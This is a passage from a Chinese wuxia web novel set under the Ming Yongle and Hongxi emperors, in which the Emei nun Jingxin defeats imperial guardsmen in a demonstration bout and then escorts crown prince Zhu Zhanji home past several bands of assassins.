所言是为了自己的长子朱瞻基安全考虑,因为自己的二弟朱高煦心怀不轨,对自己和儿子朱瞻基总是不怀好意,于是道:“爱妃言之有理,我即刻派人护送你去成都府。”于是,传令下去,准备行囊马匹,随行护卫,第三天一早,太子妃张氏一行上百人,浩浩荡荡向成都府而去。”再说吴忠,出了北京城后,到了僻静之所,又召巨鹰前来,骑上巨鹰后,数日行程已经回到成都府,吴忠去了牢房,见了孙氏兄弟,又去牢房中,探望静心师太,那些锦衣卫现在果然对峨眉派南宫世家毕恭毕敬,于是吴忠对静心师太道:“师太,书信已经送到,太子妃已经答应尽快安排处理此事。”静心师太心中暗想,这位吴英雄果然厉害,短短几日,竟然已经从京城走个来回,看来他所言的千里良驹果然不同凡响。”于是,施礼道:“多谢吴英雄,可否留下贵处住址,待我出狱后,亲率峨眉派弟子,南宫世家诸人,前去拜访。”吴忠摇摇头道:“我住穷乡僻壤,不敢有劳师太,这些小事,本是我应做的,师太不必客气。”转头吩咐孙氏兄弟道:“我这几日就住在成都府,等太子妃安排人将师太等人解救出狱,我再给你们解药。”孙氏兄弟苦着脸,也不敢说只言片语。”十几日后,太子妃张氏带领随从,浩浩荡荡来到成都府衙,成都知府早已得知,连忙请张氏等人厅堂落座,张氏命令知府道:“速去监牢把峨眉派和南宫世家的人释放出来,并请表姐静心师太来府衙一叙。”知府闻言,顿时惊出一身冷汗,连忙亲自带人去了监牢,和孙氏兄弟一起恭恭敬敬的将峨眉派,南宫世家一行人放了出来,又请静心师太到府衙和太子妃见面,吴忠在暗处看得一清二楚,等静心师太一行人,出了监牢之后,把解药给了孙氏兄弟,然后转身离去,不知所踪。静心师太带着几名随身弟子,到了成都府衙,和太子妃张氏见面,两人见面,恍如隔世,张氏拉着静心师太的手,说一些幼年往事和体贴慰问之言,静心师太道:“表妹,此次我们遭此劫难,幸亏有你出手解救,要不然我峨眉派和南宫世家就会遭受灭顶之灾。”太子妃道:“你我姐妹,不用说这些客气话,我现在就命人将那些锦衣卫传来,为表姐出气。”太子妃发出指令,身边的侍卫,很快将近百名名锦衣卫带到堂前,黑压压跪了一大片,太子妃道:“锦衣卫统领孙氏兄弟,依仗手中权势,为非作歹,迫害良民,制造冤案,按我大明律法,将孙氏兄弟革去官职,流放闽南。”孙氏兄弟,连连磕头叫屈,道:“回禀太子妃,我兄弟二人受代王爷指令,要将峨眉派和南宫世家全部剿灭铲除,下官是依代王爷命令行事,请太子妃明察。”太子妃一听,吃了一惊,心中暗想:“这代王朱桂,乃是太祖第十三子,不但是自己夫君的叔叔,而且还是婆婆徐皇后的亲妹夫,如果把他牵扯进去,只怕会闹得沸沸扬扬,再说自己夫君太子之位被二弟朱高煦觊觎,朱高煦一向想争夺太子之位,自己夫君也处处小心行事,如履薄冰,若是将十三叔牵扯进去,只怕会对夫君的太子之位,有害无益。”考虑清楚后,太子妃道:“你兄弟二人犯事,还想牵扯皇亲国戚,真是罪不可赦,不必多言,来人呐,将孙氏兄弟全家,流放闽南,其余人等,都降职处理。”那些锦衣卫眼见孙氏兄弟被拖了出去,哪里还敢出声辩解,齐声道:“谢太子妃隆恩。”张氏道:“免了,你们都出去吧。”近百名锦衣卫一个个低头弓腰,退出府衙。太子妃看着静心师太道:“表姐,我这处理,你是否满意?”静心师太连忙施礼道:“多谢表妹心意,大恩不言谢,日后有什么地方需要我效力的,赴汤蹈火,在所不辞。”张氏笑盈盈道:“表姐,我这次前来,就是有一事想求你。”静心师太一愣,道:“我乃出家之人,表妹如今贵为太子妃,有何事需要求我?”张氏叹了一口气,道:“我夫君从小体胖,当今皇上,素来不太喜爱,幸得我长子朱瞻基聪明矫健,深得皇祖父喜爱,所以当今皇上才立我夫君为太子,立我儿瞻基为皇太孙,但我那二叔子朱高煦,心怀不轨,常有篡位之心,我儿瞻基从小到大,已经经历几次危险,幸好祖宗保佑,才逢凶化吉,如今皇上年事已高,我担心在此紧要关头,我那二叔子朱高煦会派刺客加害我儿,我知道表姐身兼峨眉,南宫两家之长,一身武艺,出神入化,炉火纯青,在当今武林,难逢对手,所以,我有个不情之请,想请表姐和我一同进京,为我儿瞻基保驾护航。”静心师太一听,霎时愣住,心中暗想:“表妹亲自来成都府,解救我们,原来是想让我去给她儿子当个护法,我堂堂峨眉派掌门人,怎么能做此事?”情不自禁的心中踌躇犹豫,但转念细细一想:“这次峨眉派和南宫世家遭此劫难,听孙氏兄弟所言,竟有朝中皇子王爷暗中策划,想来是峨眉派和南宫世家称雄巴蜀,又和青龙会结仇,青龙会背后,有公孙世家镇北侯撑腰,再加上朝中皇子王爷为后台,若是我回绝了表妹,那王爷和镇北侯青龙会贼心不死,再设局陷害,峨眉派和南宫世家定然还会遭受劫难,如今权宜之计,也只能答应表妹,也好护得峨眉派和南宫世家周全。”想到这,静心师太道:“表妹,此次劫难,幸得你施以援手,我峨眉派和南宫世家才能洗清冤屈,我这些微末之技,承蒙你青眼有加,自当进京为你效力。”张氏听闻此言,心中大喜,连声道谢,几日后,静心师太将掌门之位传与师妹静竹,然后又叫来南宫世家一众首脑,将锦衣卫统领孙氏兄弟的话,如实告知,又千叮咛万嘱咐,让峨眉派和南宫世家行事以后要小心谨慎,若有什么变故,即刻进京告知,安排好了之后,静心师太带着四名随身弟子和太子妃张氏,一行人去了京城。到了京城之后,太子妃将静心师太引荐给夫君朱高炽见面,朱高炽见静心师太五十多岁年纪,清瘦面容,看上去手无缚鸡之力,心中暗想:“就这一个瘦弱尼姑能有什么高超武艺?”但碍于张氏情面,也不好明言,太子妃倒是信心十足,又将府中的侍卫都召集到一起,让他们以后都要遵从静心师太命令,言语之间,对静心师太十分推崇。那些侍卫虽然知道峨眉派是当今武林大派,但见静心师太是一名貌不惊人的瘦弱尼姑,心中也都犯起了嘀咕,但是既然太子妃号令已下,纵然心有怨言也不敢说什么,只好领命行事。十几日后,朱棣听说此事,心中十分气恼,对徐皇后抱怨道:“大儿子大儿媳,干事情太不靠谱,竟然将太子府和皇太孙的安全交给一名女尼姑打理,成何体统,简直就是胡闹。”徐皇后闻言,有些不悦道:“皇上,自古巾帼不让须眉,想当年你领兵在外打仗,北平府的安全防卫,不也是我一个女流之辈带着一些妇孺,协助兵丁守城吗?”朱棣见徐皇后有些不高兴,连忙陪笑道:“皇后,你是天下难寻的第一奇女子,那女尼姑有何本事?怎能与你相比?”徐皇后闻言,情不自禁的微微一笑,道:“皇上,大儿媳做事,一向稳重,既然她安排那尼姑负责太子府和皇太孙的安全,肯定有她的道理。”朱棣连连摇头,道:“听说那尼姑是大儿媳的表姐,还是什么峨眉派掌门人,我看啊,十有八九,是虚有其名。”徐皇后道:“皇上若是对那尼姑有质疑,可以在校场上公开比武,让禁军派几个高手和她过过招,看看是否像大儿媳所言,武艺高超,如果那尼姑是空有虚名,我们就让大儿媳重新换人,如果那尼姑真的武艺超群,她又是孙儿的表姨,让她保护孙儿,岂不是两全其美?”朱棣连连点头,道:“皇后所言极是,就按皇后所说行事。”于是命人传旨太子府,三日后,校场比武,太子朱高炽和太子妃张氏领旨后,心中七上八下,静心师太却十分冷静,道:“既然皇上和皇后娘娘有旨,我们自当遵命,三日后,我去校场比武。”三日后,禁军校场,朱棣和徐皇后,太子朱高炽和太子妃张氏,皇太孙朱瞻基,还有二皇子朱高煦,三皇子朱高燧,一众文武百官,浩浩荡荡来到校场,观看今天的比武,二十万禁军总统领张飞虎,按照朱棣旨意,从禁军中挑出十名高手,准备和静心师太比试,这十名禁卫高手,首先出场,一个个雄赳赳气昂昂,威武雄壮,各自使出了自己的拿手绝学,刀枪剑戟,斧钺钩叉,一个个使得如蛟龙戏水,神出鬼没,朱棣和徐皇后也是连连点头称赞,朱高炽看了看静心师太,道:“师太,请您下场。”太子妃张氏心中不由得有点紧张,道:“表姐,这些禁军高手,个个武艺超群,你要小心谨慎。”静心师太淡淡一笑,站起身形,飘然入场,主持比武的禁军副统领郭义真,大声道:“刀枪无眼,生死各安天命,现在比武开始。”出场的十个禁军高手,已经听说今天的对手,曾经是峨眉派掌门,没想到竟然是一个五十岁左右的瘦瘦尼姑,不由得大眼瞪小眼,你看看我,我看看你,内心都不想出阵,静心师太道:“诸位将军,请上来赐教。”连说三声,竟无人应答,主持比武的郭义真,心中暗想:“这样下去只怕皇上会生气。”连忙喊到:“郑洪将军,你先来。”被点名的郑洪将军心中虽然不情愿,但也没办法,只好拿着手中的兵刃鸳鸯双钩,来到静心师太面前,静心师太对郭义真施了一礼道:“这位将军能否帮我拿一柄青钢剑?”郭义真一挥手,身边一名随从送上一把青钢剑,静心师太接过剑后,看了看,用双指夹住剑尖,气沉丹田,双指发力,只见青钢剑剑头已断,众人一见,不由得肃然起敬,心想这尼姑看着瘦弱,竟然可以用两根手指将青钢剑剑头夹断,看来这峨眉派掌门果然有些本事。郑洪见状,有些丈二和尚摸不着头脑,疑惑不解道:“不知师太夹断剑头,是何用意?”静心师太道:“今日只是比武,贫尼不想伤人。”此言一出,郑洪不禁有些恼怒,道:“师太,您太狂妄了,看招!说罢,举起手中的鸳鸯双钩,向静心师太攻去,静心师太不慌不忙,挥舞手中的青钢剑迎敌,只见郑洪双钩盘旋,纵横挥舞,如银光匝地,闪电飞空,攻中有守,守中带攻,静心师太使出峨眉剑法应对,这套峨眉剑法是峨眉派镇山之宝,轻灵翔动,变化万千,也是攻守俱备,刚柔并济,虚实互变,转眼间,斗了三十多个回合,静心师太瞅准破绽,一招仙人指路,口中喝到:“去吧。”郑洪再想抵挡,已经来不及,被静心师太一剑刺中胸前盔甲,郑洪只觉得胸口一阵疼痛,低头看去,胸前护甲已被钢剑刺穿,幸好静心师太将钢剑的剑头夹断,所以郑洪才没有受伤,郑洪顿时羞得满脸通红,躬身施礼道:“多谢师太手下留情,末将佩服。”静心师太道:“将军不必客气,请回。”郑洪拿着鸳鸯双钩,垂头丧气退了下去,周边围观的人一看,连朱棣和徐皇后都暗暗称奇,想不到这瘦弱尼姑竟有如此本事,其他九名禁卫高手,眼见郑洪三十招左右落败,禁不住心中犯起了嘀咕,有几个和郑洪本领在伯仲之间的,心中暗想,自己上去,恐怕也不是这师太对手,这其中武艺最高强的三个人,有一个被称为神戟将路冲,是郑洪的姐夫,见内弟落败,心中按捺不住,举起手中的日月双戟,上前几步,对静心师太施礼道:“末将路冲,来领教师太高招。”静心师太道:“路将军,不必客气,请吧。”两人你来我往,战作一团,这路冲家传七十二路日月双戟,本领非凡,这日月双戟结合矛和戈的特点,可刺,劈砍,凿击,推,钩,挂,锁,别,只见路冲,将手中日月双戟,使得如蛟龙出水,碧海潮生,静心师太沉着应对,峨眉剑法中玄松挂月,瑶光分海,彗扫长空,诸多妙招,随手使来,大约斗了七八十个回合,静心师太瞅准破绽,一招推窗望月,口中喝到:“去吧。”路冲躲闪不及,肩上护甲已被静心师太拍落,原来这静心师太并未用剑刃,而是用剑身平拍过去,路冲也是羞得满脸通红,拱手施礼,道:“末将技不如人,多谢师太手下留情。”说罢,拿着双戟退了下去,周边围观的人,也是面面相觑,心中暗暗称奇,心想路冲是禁军中屈指可数的高手,想不到八十招左右就被静心师太击败,此时众人,都心中生出敬佩之心,剩下的几名禁军高手,你看看我,我看看你,都不知如何是好,都把眼光看向最左首一人,此人名叫方胜武,是禁军中数一数二的高手,使得一手五虎断魂刀,这五虎断魂刀,据说是北宋名将杨继业所创,以撩,砍,抹,剁,劈,崩,钩,挂为主,以扎,切,绞,架,扫为辅,方胜武见几位同僚都看着自己,只好上前几步,道:“末将方胜武,来领教师太高招。”静心师太道:“方将军,不必客气,请吧。”两人你来我往,开始过招,方胜武心知此次比武,关乎到禁卫军颜面,所以不敢大意,全力施为,手中钢刀,使得如猛虎下山,虎虎生风,招数精妙,出神入化,静心师太凝神静气,脸色凝重,小心应对,转眼之间,已斗了一百多个回合,只听静心师太大吼一声:“看招。”手中长剑剑走龙蛇,方胜武只感觉到眼前剑光乱闪,恰似繁星点点,不知如何招架,只好将手中钢刀挥舞盘旋,护住全身要害,静心师太这一招是峨眉派的镇山绝学:“猿公九刺,虚中有实,实中有虚,电光火石间,方胜武只感觉到左肩,前胸,腹部一阵疼痛,正在慌乱之际,静心师太已经施展身形退出场外,方胜武低头一看,自己左肩,前胸,腹部三处护甲已经脱落,方胜武心中暗暗叹了一口气,放下五虎断魂刀,对静心师太深施一礼道:“师太剑法出神入化,神鬼莫测,这一招猿公九刺,如同天外飞仙,末将佩服,佩服。”周边的众人才反应过来,都一阵大声叫好,太子朱高炽和太子妃张氏,皇太孙朱瞻基更是眉飞色舞喜出望外,正在观看的徐皇后也连声叫好,皇上朱棣,却是面露不悦之色,冷哼一声道:“什么禁军十大高手,空有虚名罢了。”此言一出,站在朱棣身后护卫的禁军总统领张飞虎,按捺不住了,张飞虎是荣国公张玉的第三子,三十多岁,虎背熊腰,魁梧奇伟,曾经得三国名将常胜将军赵子龙的后人传授龙胆亮银枪法,七十二招亮银枪法出神入化,炉火纯青,人称神枪无敌将,本来张飞虎自恃身份,不愿与女流之辈争斗比武,但眼见手下几名大将都已经落败,现在听皇上的意思,把禁军诸将都看成是虚有其名,没有真才实学的酒囊饭袋,日后禁军的地位在皇上的心中怕是一落千丈,于是张飞虎紧走几步,来到朱棣面前,俯身跪倒,道:“皇上,末将不才,想与静心师太切磋比试,请皇上恩准。”朱棣心想,我二十万禁军挑出来的十大高手,让一个五十岁的瘦弱尼姑打败,二十万禁军的面子往哪里放?我这皇上的面子往哪里放?”听见张飞虎奏请,心中暗喜,张飞虎是禁军的总统领,也是禁军第一高手,有他出阵比试,定能扳回一局,挽回禁军的颜面,于是道:“好!准奏。”张飞虎得令后,大步流星,取了龙胆亮银枪,紧走几步,来到场下,对静心师太施了一礼,道:“末将张飞虎前来领教师太高招。”围观的众人,见他出场,禁军众将领自是高兴,其他人心中都为静心师太担心,暗暗捏了一把汗,太子妃张氏,更是关心焦急之情溢于言表,恨不得就要上前阻止,却被太子朱高炽劝阻,只好忐忑不安如坐针毡一般,在一旁继续观战,场上的静心师太却是风轻云淡平淡如水,淡然道:“既然张将军上场赐教,贫尼就恭敬不如从命了,请出招吧。”张飞虎心知此次比武事关二十万禁军颜面,所以凝神静气谨小慎微,如临大敌,不敢有丝毫大意,双方静默片刻后,张飞虎首先使了一个童子拜观音招式,静心师太微微一笑道:“张将军不必客气,请出招。”随手使出一招借花献佛,两人客气过后,开始过招,只见张飞虎手中的龙胆亮银□□,打,挑,拦,搠,攒,架,闭,遮,挡,枪尖寒光闪闪,枪缨红光团团,使得虎虎生风,如蛟龙飞起,猛虎下山,招数巧妙灵动,变幻万千,好一路精巧枪法!静心师太也打起十二分精神,小心应对,手中长剑运用格,挡,刺,劈,挑,撩,划,抹,点,扫,使得宛如龙飞凤舞,千姿百态,倏忽之间,恰似羚羊挂角,无迹可寻,双方你来我往,你来我回,竟斗了三百回合,张飞虎心中不免有些急躁,心想我这七十二招亮银枪法,已使了几遍,可这静心师太,却是稳如磐石,于是张飞虎大吼一声,将手中长枪暴起,上下翻飞左右盘旋,施得如狂风暴雨一般,刺向静心师太,正是龙胆亮银枪法中的绝技:夺命九连枪,静心师太不敢大意,挥动手中的钢剑,前遮后挡,左格右截,守得五行轮转,风雨不漏,围观的众人,一个个看的是眼花缭乱目不暇接,心惊肉跳,连连咋舌,静心师太挡住张飞虎潮水一般的攻击后,凝神聚气,气运双臂,手中钢剑使了一招后羿射日,只见剑招气势如虹,凌厉异常,隐隐带着风雷之声,张飞虎全神贯注,举起手中亮银枪奋力抵挡,双方兵刃相交之时,只见静心师太手中的钢剑突然冒出一缕白光,竟是武林中早已失传的剑气,张飞虎始料不及,再想躲闪,已然不及,被剑气一击而中,张飞虎只觉得胸口一阵剧痛,不由得腾腾腾连退好几步,低头望去,胸口护甲已被剑气刺穿,鲜血直流,静心师太连忙放下手中钢剑,双手合十道:“贫尼情急之下,伤了张将军,请张将军勿怪。”张飞虎心中明白,静心师太已经手下留情,若是她全力出招,只怕自己就要命丧当场,于是赶忙放下手中的龙胆亮银枪,也双手合十,回礼道:“多谢神尼,手下留情,末将恭喜神尼练成了失传已久的剑气,末将对神尼的敬仰如滔滔江水连绵不绝,有神尼护卫皇太孙,实乃我大明之幸事。”朱棣和徐皇后朱高炽一家在一旁也听得清清楚楚,徐皇后笑着对朱棣道:“皇上,有此神尼护卫咱们的宝贝孙子,你以后可就放心了。”朱棣本来见禁卫军众将领落败,心中有些恼怒,但是听徐皇后这么一说,顿时想到以后宝贝孙子朱瞻基的安全可以高枕无忧了,不禁转怒为喜,连连点头,称赞徐皇后言之有理,又对朱高炽一家道:“太子夫妻此事办的极佳,深得朕心,来人呐,赏黄金百两,嘉奖静心师太。”朱高炽一家自是满心欢喜,和静心师太一起领旨谢恩,此次比武之后,静心师太一日降四杰,名震京城。 再说翼王萧桐燕王苗雨燕带着林萱儿,一路上昼行夜宿,小心翼翼的赶回圣火崖,林萱才是一个十岁出头的小女孩,短短时间内,父母双亡,哥哥死去,连敬爱的嫂嫂也已分离,心中怏怏不乐,郁郁寡欢,苗雨燕心细如发,一路上千方百计逗林萱儿开心,半个月后,回到圣火崖,翼王夫妻领着林萱去见唐梦泽,唐梦泽夫妻和儿子唐旭儿,徒弟沈云见到林萱儿,也是关心备至,疼爱有加,唐梦泽夫妻收林萱儿为义女,为掩人耳目,给林萱改名为唐兰儿,对外宣称是自己的三女儿,自此以后,改名后的唐兰儿跟着师兄唐旭儿,二师兄沈云,认真学习唐梦泽传授的武功。” 19. 第 19 章 第十九章:太子回京 公元1424年七月,大明永乐皇帝朱棣驾崩,传位于太子朱高炽,朱高炽与公元1424年八月登基,史称明仁宗,太子妃张氏被立为皇后,仁宗继位后,发布诏书,封长子朱瞻基为太子,公元1425年五月仁宗因病驾崩,临死前留下遗诏,命长子朱瞻基承袭大统,此时的朱瞻基还在应天府,母亲张皇后秘不发丧,暗中派遣太监海寿和礼部官员况钟秘密前往应天府,通知朱瞻基,朱瞻基接到父皇驾崩消息后,立刻和静心师太及手下亲兵首领开始商议,如何快速安全返回京城,众人七嘴八舌发表自己的看法,朱瞻基对静心师太道:“姨母,依您之见,此事该如何处置?”静心师太道:“瞻基,你手下忠心耿耿的亲兵有多少人?”朱瞻基道:“大约有一千多人,静心师太道:“这一千多亲兵是否绝对可靠?”朱瞻基道:“这一千多人,绝对可靠。”静心师太道:“你从中挑选六十名武艺超群之人,我自有安排,剩下的一千多人,分成十二队,今晚开始,每隔一个时辰,就派四队亲兵从应天府东西南北门出城,等十二队亲兵全部出城后,我亲率四名弟子和六十名亲兵护送你回京城。”朱瞻基闻言,连连点头,按静心师太安排行事,众人一切准备就绪,在傍晚时分,第一批四队亲兵开始从应天府东西南北门出城,后面两个时辰,剩下的八队亲兵也按计划从应天府东西南北门出了城,静心师太带着手下空梅空兰空竹空菊和六十名侍卫,护送朱瞻基步行,从东门悄悄出了应天府,到了城外二里岗,骑上早已准备好的骏马,众人扬鞭策马,从小路直奔京城而去,一路上小心翼翼,谨慎前行,行了六七日后,行程已经过了大半,朱瞻基悬着的心已经放下大半,对静心师太道:“姨母,看来你的计策很成功,再有几日,我们就可以赶到京城了。”静心师太看了朱瞻基一眼,脸色凝重道:“瞻基,一日不到京城,我们都要小心谨慎,后面几天的路程,只怕会遇到敌人拦截。”朱瞻基口中应是,但心中却有些不以为然,到了第八日中午,众人正驱马前行,忽见前方道路上,黑压压的一群人,正骑马拦在道路中间,静心师太连忙挥鞭,驱马冲在最前方,到了那群骑士面前,勒住马缰,大声道:“对面何人?为何挡住去路?”为首的骑士答道:“我乃江南一窝蜂,今日来此,只为拦截太子爷。”静心师太道:“既然知道是太子爷,为何如此胆大包天?”为首的骑士,是江南一窝蜂的老大过山蜂冯济,他身边两人是他的结义兄弟,出林蜂姚方,一阵蜂齐昌,过山蜂冯济大声道:“有人出了黄金万两,要买太子爷的人头,我等干的本就是刀头舔血的买卖,既然有人出了如此重金,那咱们兄弟自然就要来借太子爷的人头一用。”静心师太道:“那就不必多言,手底下见真章。”说罢,拔出手中宝剑,身后的随从也亮出兵刃,跟随静心师太与江南一窝蜂战作一团,朱瞻基也身先士卒,奋不顾身挥舞手中宝剑,与江南一窝蜂展开厮杀,过山蜂冯济,出林蜂姚方,一阵蜂齐昌知道静心师太武艺高超,所以这三个人一上来就围攻静心师太,静心师太不慌不忙,施展峨眉剑法精妙招式,白猿献果,古树盘根,凤凰展翅,夜叉探海,妙招迭出,过山蜂冯济,出林蜂姚方,一阵蜂齐昌也是挥舞手中兵刃全力以赴,使了自己的绝招金龙绞尾,神针定海,黑虎搜山,伏虎降龙,雷公劈石,猛虎回头,对着静心师太就是疯狂砍杀,大约三十招左右,静心师太大喝一声,一招白猿献寿,将齐昌一剑刺死,过山蜂冯济出林蜂姚方眼见兄弟惨死,眼都红了,手中长刀一个使了个双龙入海,一个使了个黑虎搜山,疯狂攻向静心师太,静心师太冷静应对,双方又战了几个回合,静心师太一招仙人指路,将过山蜂冯济一剑刺死,此时的姚方见大哥也被刺死,霎时吓得魂飞魄散,转身想跑,静心师太哪肯放过,纵身一跃追到姚方身后,一招流星赶月正中姚方后背,姚方惨叫一声,命丧当场,静心师太环顾四周,见自己的手下和江南一窝蜂的部众还在厮杀,于是气运丹田,大声喝道:“你们首领已经被杀死,尔等速速逃命去吧。”江南一窝蜂的部众已经被静心师太手下的侍卫杀死杀伤了几十人,又听到首领已死,军心涣散,毫无斗志,一个个转身就跑,朱瞻基还想命手下追杀,静心大声道:“穷寇勿追,我们抓紧时间赶路要紧。”众随从听命,静心师太留下两人救治死伤的手下,然后命令其他人重整队形,扬鞭驱马,继续前行。”又行了两日,到了第十日中午时分,行程只剩两三天路程,众人不敢大意,谨慎前行,正在此时,只见对面出现三四十匹骏马,拦在道路中间,马背上骑者都是虎背熊腰的彪形大汉,静心师太连忙驱马前行,大声道:“前方何人?为何拦住道路?”为首的彪形大汉道:“静心师太,我们是太行三十六骑,在下单天豹,今日来此只为借太子爷人头一用,去领万两黄金花红。”静心师太脸色凝重,心中暗想,这太行三十六骑是中原绿林的首领,不但武艺高强,而且异常凶悍,今日一战,恐怕是不死不休。”静心师太凝气定神道:“太行三十六骑是中原绿林的首领,素闻单天豹英雄盖世,为人侠义,劫富济贫,扶弱锄强,素来受人尊敬,我今日保护的是大明的太子,也是日后大明的皇帝,请单英雄和诸位兄弟为了天下苍生和黎民百姓,放我们一马,我静心对天发誓,日后定当厚报。”太行三十六骑老大旋风骑单天豹闻言,思索片刻道:“静心师太,不是我不卖人情,而是雇主不但悬赏了万两黄金,还承诺我等若是能杀了太子,就封我三十六人为侯,人为财死鸟为食亡,静心师太,得罪了!说罢,拔出腰刀,向空中一挥,身后的三十多名手下,蜂拥而上。”静心师太见势不妙,忙挥动手中宝剑,大声喝道:“众儿郎,给我杀!身后的四名弟子和众侍卫,也纷纷举起兵刃,与太行三十六骑战作一团,朱瞻基也挥动手中宝剑奋勇杀敌,单天豹和静心师太短兵相接,双方开始厮杀,单天豹一招落地霹雳,静心师太侧身闪过,回了一招风卷残云,单天豹伸挡住长剑,又是一招饿虎扑羊,静心师太闪身躲过,还了一招宿鸟投林,单天豹使出翻江倒海,静心师太还了一战灵猫捕鼠,单天豹侧身闪过,使了招犀牛望月,静心师太伸剑挡住刀刃,还了招金鸡啄米,单天豹又使了招雷动山河,静心师太不慌不忙一个侧步躲过,还了招天蚕吐丝,单天豹刀影翻飞,连使绝招八方风雨,十面埋伏,静心师太连忙使了个金光缠身,俨似天风海雨,护住全身要害,然后气运丹田,剑光连闪,如同黑夜繁星,千颗万点,正是峨眉派镇山绝技猿公九刺,单天豹见满天剑影向自己袭来,连忙使了招凤舞九天,将手中钢刀挥舞的风雨不漏,电光火石之间连挡静心师太八连刺,没想到静心师太的最后一刺,长剑上竟发出一道白光,正是峨眉派玄女神功的剑气,单天豹躲闪不急,被剑气一剑刺穿,瞬间发出一声惨叫,命丧黄泉,剩下的太行山三十多骑,听到单天豹惨叫,已知单天豹惨死,却是一个个不惧生死,挥动手中刀剑,奋力砍杀,凶悍异常,静心师太气运丹田,大声喊道:“首领已死,尔等速速逃命。”话音未落,已有几人持兵器围攻上来,对静心师太的喊话,置若罔闻,静心师太打起精神,小心应对,手中长剑,剑气纵横,几十招过后,围攻的数人都被剑气所伤,纷纷倒地不起,众人足足战了半个多时辰,才将太行三十六骑全部击倒,那太行三十六骑果然凶悍,竟无一人逃走,伤重倒地者,依然悍不畏死,出言怒骂,朱瞻基心中恼怒,命众侍卫补刀,将太行三十六骑受伤之人全部杀死,正当众人重整队伍,准备再次出发时,忽然觉得前面传来阵阵阴风腾腾杀气,不由得让人毛骨悚然不寒而栗,众人心中惊悚,抬头望去,只见前方不知何时来了七人,挡在道路中间,静心师太强打精神,上前道:“请问诸位英雄,尊姓大名?为何挡住我等去路?”那七人为首一名男子,大约三十多岁,一身白衣,身高七尺开外,风度翩翩仪表堂堂,顾盼之间威风八面,但眉目之间却带着一股阴森杀气,他开口道:“静心师太,我乃西域神魔宫少宫主傅九霄,我身边的是我六个师弟,江湖人送我们兄弟一个外号北斗七杀,今日我们受人重托,特来取大明太子的性命。”此言一出,静心师太顿时心头一沉暗道不好,原来在二十年前,武林之中魔道,出了两个出类拔萃的人物,人称魔道双尊雷公蛇母,这夫妻二人不但武艺高强内力深厚,而且秤不离砣公不离婆,雷公傅天雷,手中一柄雷公斧,八面威风威猛霸气,雷霆千钧气吞山河,蛇母杜云英,手中一条毒龙鞭,如鬼似魅神出鬼没,无声无息阴柔狠辣,夫妻二人联手对敌,纵横天下,难寻敌手,魔道中人都以雷公蛇母为尊,马首是瞻,后来雷公蛇母一统武林魔道后,妄图以魔道力量消灭武林各大门派和正义之士,各大门派得知消息,也相互联络,准备聚集力量和雷公蛇母领导的江湖魔道决一死战,正在山雨欲来之时,雷公蛇母却突然远遁西域,创立神魔宫,再也不踏入中原,江湖传言,雷公蛇母被一位江湖高人击败,这位江湖高人勒令雷公蛇母解散魔道,远遁西域,江湖正义人士都纷纷额手称庆,对这位江湖高人也是感恩戴德。静心师太仔细打量面前这位神魔宫少主,和他身后的六个师弟,只见这七人太阳穴高高隆起,眼中精光四射,都是武林中罕见的高手,这北斗七杀,老大天枢星傅九霄,老二天璇星费震东,老三天玑星崔平南,老四天权星丁震西,老五玉衡星万扫北,老六开阳星马击左,老七摇光星周伐右,师兄弟七人从小演练北斗七星阵,这北斗七星阵宋朝年间全真教第一任教主王重阳所创,此阵法对敌形成包围,随着阵势变化,七人即可联手往复,流转不息,阵法结合道教一元,两仪,三才,四象,五行,六合,七星,八卦,九宫的流转变化,纵然遇到绝顶高手,也可战无不胜攻无不克,再加上北斗七杀师兄弟七人,个个武艺超群身怀绝技,人人都有万夫不当之勇,纵然在千军万马之中,亦可联手拒敌纵横杀戮,取敌方首脑性命,易如反掌,所以北斗七杀声名显赫威震天下,这北斗七杀在西域诸国专门以行刺勒索王公贵族为敛财之道,西域诸国中,凡不接受北斗七杀敲诈勒索的,国中国王就会被北斗七杀刺杀,所以西域诸国国王都胆战心惊,为了消灾保命,只能奉献大批金银财宝给神魔宫,所以神魔宫在西域一带恶名远扬臭名昭彰,静心师太心知今日难以幸免,也不敢调转身形,只能全神戒备缓步倒退而行,她退到朱瞻基身旁,低声道:“瞻基,等会我们和北斗七杀厮杀时,你趁乱逃走,不要管我们。”朱瞻基从来没有见过静心师太如此沮丧,低声问道:“姨母,这七人很厉害吗?”静心师太苦笑一声,道:“武林江湖中传言:七杀夺命,天罗地网,上天入地,无人能逃!等会我们厮杀时,你别管我们,赶紧趁乱逃走便是。”朱瞻基闻言,考虑片刻,大声道:“姨母,人生自古谁无死,大丈夫死则死耳,我决不能抛弃你们,独自逃生。”静心师太和一众侍卫听了朱瞻基之言,内心不由得感动钦佩,暗暗为朱瞻基点赞,众人同仇敌忾众志成城,都紧握手中兵器,准备殊死一战,神魔宫少主傅九霄听到朱瞻基之言,大声喝彩道:“大明太子,果然是个英雄,你们刚刚和太行三十六骑厮杀,我七兄弟也不占你们便宜,你们休息半个时辰,等元气恢复了,再斗不迟。”静心师太知道北斗七杀,自恃武艺高强,视自己一行人为草芥,所以才有恃无恐,但此时此刻,双方实力差距太大,人为刀俎我为鱼肉,也只能先忍气吞声休息半个时辰,然后再和北斗七杀以命相搏,北斗七杀威震四海,名扬天下,既然说半个时辰后再战,自然不会言而无信,于是静心师太吩咐道:“大家抓紧时间休息,半个时辰后,我们以命相搏,不死不休。”众人纷纷答应,然后席地而坐开始休息,傅九霄面色狂傲,一副风轻云淡的模样,身后几个师弟也是神态轻松,满脸胸有成竹的姿态,正在此时,忽听远处传来一声长啸,只听那啸声连绵悠长,宛如滚滚惊雷,响彻云霄,众人不禁大吃一惊,北斗七杀也脸色微变,都知道这是一位绝顶武林高手发出的啸声,不知此人是敌是友,两方人马都惊疑不定,只见远处一道人影奔来,身形似箭迅疾如飞,眨眼功夫,已经到了双方跟前,静心师太定睛望去,只见来人一身灰袍,高高瘦瘦,一副圆脸,正是贡嘎雪山人氏吴忠,静心师太心中大喜,连忙上前深施一礼,道:“贫尼静心拜见恩公。”吴忠双手抱拳,恭恭敬敬回了一礼道:“贡嘎雪山人氏吴忠拜见师太,不知师太在此,所为何事?”静心师太苦笑道:“我护送大明太子,却被神魔宫北斗七杀拦截,北斗七杀被人收买,要杀害大明太子。”吴忠摇摇头道:“大明太子的生死,我丝毫不放在心上。”此言一出,静心师太等人都大惊失色,而北斗七杀则神情一松,不料吴忠接着道:“虽然大明太子的生死与我无关,但静心师太的事就是我吴忠的事,想当年我曾受南宫世家先祖的大恩,我曾对天发誓,要护南宫世家周全,北斗七杀,你们若是识趣,就趁早滚蛋,若是痴心妄想,胆敢对静心师太不利,那么休怪我今日大开杀戒。”傅九霄虽然被吴